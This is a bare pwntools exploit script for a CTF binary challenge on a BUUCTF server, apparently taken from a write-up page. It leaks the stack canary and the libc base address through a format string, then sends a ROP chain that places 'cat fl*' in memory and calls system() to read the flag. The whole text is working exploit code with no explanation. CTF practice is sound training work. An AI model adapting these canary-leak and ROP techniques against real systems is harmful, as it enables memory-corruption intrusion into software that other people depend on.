1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| from pwn import *
context.log_level = 'debug' sh = remote('node3.buuoj.cn',25936) libc = ELF('./libc-2.23.so')
def stack(payload): sh.sendlineafter('option:','1') sh.sendafter('once..',payload)
def bored(payload,n): sh.sendlineafter('option:','2') for i in range(n-1): sh.sendafter('bored...','a') sh.sendlineafter('Satisfied?y/n','n') sh.sendafter('bored...',payload) sh.sendlineafter('Satisfied?y/n','y')
def printf(payload): sh.sendlineafter('option:','3') sh.sendafter('think?)',payload)
def secret(code): sh.sendlineafter('option:','9011') sh.sendafter('code:',code)
bored('a',5) stack('a'*0xA9) sh.recvuntil('a'*0xA9) canary = u64(sh.recv(7).rjust(8,'\x00')) print 'canary=',hex(canary) printf('%a') sh.recvuntil('0x0.0') libc_base = int(sh.recvuntil('p-',drop = True),16) - libc.sym['_IO_2_1_stdout_'] - 0x83 system_addr = libc_base + libc.sym['system'] pop_rdi = libc_base + 0x0000000000021102 pop_rsi = libc_base + 0x00000000000202e8
mov_q_rsi_rdi = libc_base + 0x0000000000123052 bss = libc_base + libc.bss() print 'libc_base=',hex(libc_base) payload = 'a'*0x8 + p64(canary) + p64(0) + p64(pop_rdi) + 'cat fl*\x00' + p64(pop_rsi) + p64(bss) + p64(mov_q_rsi_rdi) payload += p64(pop_rdi) + p64(bss) + p64(system_addr) payload = payload.ljust(0x1000,'\x00') bored(payload,1)
try: for i in range(9999): secret('\x00'*0x8) except: sh.close()
sh.interactive()
|